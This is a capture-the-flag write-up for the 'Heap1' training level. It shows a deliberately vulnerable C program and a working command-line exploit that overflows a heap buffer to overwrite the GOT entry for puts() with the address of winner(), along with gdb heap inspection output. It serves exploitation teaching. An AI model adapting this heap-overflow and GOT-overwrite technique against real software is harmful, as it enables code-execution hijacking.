Heap1
This level takes a look at code flow hijacking in data overwrite cases.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
First of all, we have to find where we were calling the strcpy() function. Which will look at the stack and the stored return pointers to figure out where we are - as a side note, if you found a bug that smashes the stack, the backtrace cannot make much sense of it anymore.
and here we can see that currently we are in strcpy, bu we were coming from the address 0x0804855a.
so let's overwrite the GOT entry for puts() with the address of winner().
$ ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
and we have a winner @ 1609957192
So, "echo -ne", "-n" because we don't want that echo places a newline at the end of the output, "-e" because we want echo to convert hex escaped numbers into the raw characters. Now echo inside of the backticks `` will be executed and the output of that will be placed inside of the quotes as the first argument. Pwned!
Insights:
- It doesn't attack the heap algorithm.
- Application trusts in integrity of objects on the heap.
- Modified an address on the heap to get a write anything anywhere primitive.
writeup:
How to examine the heap?
- open heap1 in gdb
- disassemble main
- set breakpoints after each function call
- run with PoC exploit
After a few 'c' commands in gdb, we can see the heap layout, and the GOT entry overwrited as well.
(gdb) set $i1=(struct internet*)0x804a008
(gdb) set $i2=(struct internet*)0x804a028
(gdb) print *$i1
$1 = {priority = 1, name = 0x804a018 "AAAABBBBCCCCDDDDEEEEt\227\004\b"}
(gdb) print *$i2
$2 = {priority = 1162167621, name = 0x8049774 "\224\204\004\b"}
After all the chunks in the heap, there is a value 0x00020fc1, which indicates the remaining size of the heap.
This area down here are all free memory and in exploitation terms that is often referred to as the wilderness.
This whole thing is basically a huge heap chunk, and that number is its length.